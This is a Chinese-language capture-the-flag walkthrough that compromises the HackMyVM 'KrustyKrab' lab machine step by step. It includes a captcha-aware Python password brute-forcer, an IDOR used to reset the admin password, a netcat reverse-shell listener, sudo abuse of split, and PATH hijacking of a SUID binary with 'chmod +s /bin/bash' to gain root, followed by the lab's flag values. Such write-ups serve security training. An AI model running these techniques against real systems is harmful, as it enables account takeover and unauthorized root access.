KrustyKrab 靶机渗透测试:从入门到提权

by Admin 25 views
KrustyKrab 靶机渗透测试:从入门到提权

嘿,安全爱好者们!今天我们要一起深入探讨一下 Hackmyvm 上的 KrustyKrab 靶机,一步步进行渗透测试,最终拿下 root 权限。这不仅是一次技术实践,也是一个很好的学习机会。 让我们开始吧!

一、信息收集:摸清底细

1.1 主机发现:找到目标

首先,我们需要确定目标靶机的 IP 地址。 这就像玩捉迷藏,我们要先找到藏起来的人。 使用 arp-scan 可以帮助我们扫描目标网段,发现存活的主机。 这就像用雷达扫描周围,找出在线的设备。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.135 08:00:27:e5:75:2d       PCS Systemtechnik GmbH
...

根据扫描结果,我们找到了 KrustyKrab 靶机的 IP 地址:192.168.205.135

1.2 端口扫描:了解开放的服务

接下来,我们需要了解目标主机上开放了哪些服务。 这就像侦查敌人的防御工事,了解他们的弱点。 使用 Nmap 进行端口扫描可以帮助我们发现这些信息。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.135
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-07 20:51 CST
Nmap scan report for 192.168.205.135
Host is up (0.00025s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:E5:75:2D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

扫描结果显示,目标主机开放了两个端口:

  • 22/tcp: SSH 服务,用于远程登录。
  • 80/tcp: HTTP 服务,通常是 Web 服务。

二、服务枚举与漏洞发现:寻找突破口

2.1 HTTP 服务枚举:探索 Web 站点

现在,我们来深入研究一下 Web 服务,寻找可能的漏洞。 这就像进入一个迷宫,需要找到正确的路径。 访问 80 端口,我们看到一个 Apache 的默认页面。 页面提示我们,网站的真实路径是 /var/www/html/finexo

访问 http://192.168.205.135/finexo/,我们发现一个加密货币交易网站,带有一个登录页面。看起来这可能是我们突破的关键。

为了找到隐藏的目录和文件,我们使用 gobuster 进行目录爆破。 就像用一把钥匙,尝试打开不同的门。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ gobuster dir -u http://192.168.205.135/finexo/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js -t 64
...
/index.html           (Status: 200)
/login.php            (Status: 200)
/uploads              (Status: 301)
/logout.php           (Status: 302)
/config.php           (Status: 200) [Size: 0]
/dashboard            (Status: 301)
...

2.2 登录认证绕过:破解登录

在登录页面,我们注意到存在验证码机制。 这就像一道门上的密码锁,需要正确输入密码才能进入。 通过分析页面源码和网络请求,我们发现验证码是通过访问 http://192.168.205.135/finexo/login.php?action=generateCaptcha 接口获取的。

这告诉我们,我们可以在每次登录尝试前获取一个有效的验证码。 接下来,我们尝试不同的用户名,看看服务器的反馈。 通过错误提示,我们发现一个有效用户名为 SpongeBob。 现在,我们结合以上信息,编写一个 Python 脚本,对 SpongeBob 用户的密码进行爆破。

import requests

s=requests.session()
with open('../rockyou.txt','r',encoding='latin-1')as f:
    for pwd in f:
        pwd=pwd.strip()
        code=s.get('http://192.168.205.135/finexo/login.php?action=generateCaptcha').text
        r=s.post('http://192.168.205.135/finexo/login.php',{'username':'SpongeBob','password':pwd,'captcha':code})
        if 'Wrong' not in r.text:
            print(f'[+] {pwd}')
            break
        print(f'[-] {pwd}')

脚本成功破解密码,得到 squarepants。 就像打开了密码锁,我们现在可以进入系统了。

三、漏洞利用:获取立足点

3.1 越权密码修改:掌控账户

image-20251107212503062

使用 SpongeBob:squarepants 登录后台。 我们发现后台的功能比较有限,文件上传功能会将上传的文件重命名为 .jpg 后缀,无法直接利用。 就像一个有限的工具箱,我们需要找到其他的工具。

image-20251107213101438

幸运的是,我们找到了一个修改密码的功能。 抓取修改密码的请求,我们发现请求中包含了 username 参数。 这暗示着可能存在越权漏洞。

POST /finexo/admin_dashboard/profile.php HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----geckoformboundaryfed4b4c36c59a662781127189307f88

------geckoformboundaryfed4b4c36c59a662781127189307f88
Content-Disposition: form-data; name="password"

123456
------geckoformboundaryfed4b4c36c59a662781127189307f88
Content-Disposition: form-data; name="username"

SpongeBob
------geckoformboundaryfed4b4c36c59a662781127189307f88--

尝试将 username 修改为 Administratro,并设置一个新密码 123456。 请求成功,证明存在越权漏洞。 我们成功修改了 Administratro 用户的密码,为我们提供了更大的控制权。

3.2 获取 Shell:建立控制

使用 Administratro:123456 登录,我们进入了更高权限的管理后台。 这里有一个可以执行系统命令的功能。 这是一个非常危险的工具,可以让我们执行任意命令。 我们使用它来获得一个 shell,实现对系统的控制。

在本地使用 netcat 开启监听:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888

在 Web 后台的命令执行功能中,提交反弹 shell 的 payload,成功获取 www-data 用户的 shell。 这就像打开了后门,我们现在拥有了系统的控制权。

listening on [any] 8888 ...
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.135] 38918
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[!Tip]稳定 shell

script /dev/null -c bash Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=/bin/bash stty rows 36 columns 178

↑这个要自己算

stty -a|grep 'row'|awk -F'[ ;]+' '{print "stty "$4,$5,$6,$7}'

四、权限提升:一路向上

4.1 www-data -> KrustyKrab:提权第一步

在获取的 shell 中,我们需要进一步提权,获取更高的权限。 首先,我们检查当前用户的 sudo 权限。

www-data@KrustyKrab:/var/www/html/finexo/admin_dashborad$ sudo -l
...
User www-data may run the following commands on KrustyKrab:
    (KrustyKrab) NOPASSWD: /usr/bin/split

我们发现 www-data 用户可以免密以 KrustyKrab 用户的身份执行 /usr/bin/split 命令。 这是一个很好的机会。 通过查询 GTFOBins,我们了解到 split 命令可以用来提权。

www-data@KrustyKrab:/tmp$ sudo -u KrustyKrab split --filter=/bin/sh /dev/stdin
id
uid=1000(KrustyKrab) gid=1000(debian) groups=1000(debian), ...

我们成功切换到 KrustyKrab 用户,完成了提权的第一步。

4.2 KrustyKrab -> spongebob:蟹黄堡挑战

接下来,我们需要继续提权,获取更高的权限。 我们再次检查 KrustyKrab 用户的 sudo 权限。

KrustyKrab@KrustyKrab:~$ sudo -l
...
User KrustyKrab may run the following commands on KrustyKrab:
    (spongebob) NOPASSWD: /usr/bin/ttteeesssttt

我们发现可以免密以 spongebob 的身份运行 /usr/bin/ttteeesssttt。 运行这个程序,我们发现它是一个制作蟹黄堡的小游戏,需要按照正确的顺序排列食材。

KrustyKrab 的家目录下,我们找到了一个名为 help 的文件,里面包含了正确的蟹黄堡配方gif:面包、肉饼、生菜、奶酪、洋葱、西红柿、番茄酱、芥末、腌椰菜、面包。 根据程序给出的打乱的食材列表和 help 文件中的正确顺序,我们输入正确的字母序列,成功通过挑战,获得 spongebob 用户的 shell。

KrustyKrab@KrustyKrab:~$ sudo -u spongebob /usr/bin/ttteeesssttt
...
Please enter the correct order using letters (e.g., ABCDEFGHIJ): HJEIGCDABF

Validation successful! Perfect Krabby Patty!
spongebob@KrustyKrab:/home/KrustyKrab$ id
uid=1001(spongebob) gid=1001(spongebob) groups=1001(spongebob),...

4.3 spongebob -> Squidward:密码破解

spongebob 的家目录下,我们发现 key1key2.jpegnote.txt 三个文件。 note.txt 提示 Squidward 用户的密码是 md5($key1$key2)。 这是密码破解的提示。

根据提示,密码的生成逻辑是:将 key1 文件的内容和 key2.jpeg 文件的 MD5 值拼接起来,然后对拼接后的字符串再进行一次 MD5 计算。 就像解一个谜题,我们需要找到关键的线索。

  1. 读取 key1cat key1 -> e1964798cfe86e914af895f8d0291812

  2. 计算 key2.jpeg 的 MD5:md5sum key2.jpeg -> 5e1d0c1a168dc2d70004c2b00ba314ae

  3. 拼接并计算最终 MD5:

    spongebob@KrustyKrab:~$ echo -n "e1964798cfe86e914af895f8d02918125e1d0c1a168dc2d70004c2b00ba314ae" | md5sum
    7ac254848d6e4556b73398dde2e4ef82  -
    

    使用计算出的密码 7ac254848d6e4556b73398dde2e4ef82 成功切换到 Squidward 用户。

spongebob@KrustyKrab:~$ su Squidward
Password: 7ac254848d6e4556b73398dde2e4ef82
$ id
uid=1002(Squidward) gid=1003(Squidward) groups=1003(Squidward)

4.4 Squidward -> root:最终提权

Squidward 的家目录下,我们发现一个由 root 用户拥有且设置了 SUID 位的可执行文件 laststep。 这是一个关键的发现,意味着我们可以利用它来提权。

Squidward@KrustyKrab:~$ ls -al
...
-rwsr-xr-x 1 root      root      16056 Mar 27  2025 laststep

直接运行该文件,它会输出 /etc/shadow 的内容。 通过分析,我们发现它内部通过 system("cat /etc/shadow") 来实现此功能。 这是一个关键点,也是一个漏洞。

由于程序以 root 权限执行 cat 命令,并且没有使用绝对路径,这里存在明显的 PATH 环境变量劫持漏洞。 这就像留下了一扇未锁的门,我们可以利用它来获取 root 权限。

  1. 在当前目录下创建一个名为 cat 的恶意脚本,内容为给 /bin/bash 添加 SUID 权限。

    Squidward@KrustyKrab:~$ echo 'chmod +s /bin/bash' > cat
    
  2. 给该脚本添加执行权限。

    Squidward@KrustyKrab:~$ chmod +x cat
    
  3. 将当前目录 . 添加到 PATH 环境变量的最前面。

    Squidward@KrustyKrab:~$ export PATH=.:$PATH
    
  4. 再次运行 laststep。 此时,它会以 root 权限执行我们编写的恶意 cat 脚本。

    Squidward@KrustyKrab:~$ ./laststep
    
  5. 检查 /bin/bash 的权限,发现已成功设置 SUID 位。

    Squidward@KrustyKrab:~$ ls -al /bin/bash
    -rwsr-sr-x 1 root root 1265648 Apr 23  2023 /bin/bash
    
  6. 执行 bash -p 以保留 euid,获得 root 权限的 shell。

    Squidward@KrustyKrab:~$ bash -p
    bash-5.2# id
    uid=1002(Squidward) gid=1003(Squidward) euid=0(root) egid=0(root) groups=0(root),1003(Squidward)
    

现在,我们已经成功获得了 root 权限。 就像到达了城堡的顶端,我们完成了这次渗透测试。

最后,读取 user 和 root 的 flag。

bash-5.2# /bin/cat /home/KrustyKrab/user.txt
dcc8b0c111c9fa1522c7abfac8d1864b
bash-5.2# /bin/cat /root/root.txt
efe397e3897f0c19ef0150c2b69046a3

五、总结

恭喜!我们成功地完成了 KrustyKrab 靶机的渗透测试。 从信息收集到漏洞利用,再到权限提升,每一步都充满了挑战和乐趣。 希望这次实践能帮助你更好地理解渗透测试的流程和技术。 继续加油,安全之路,永无止境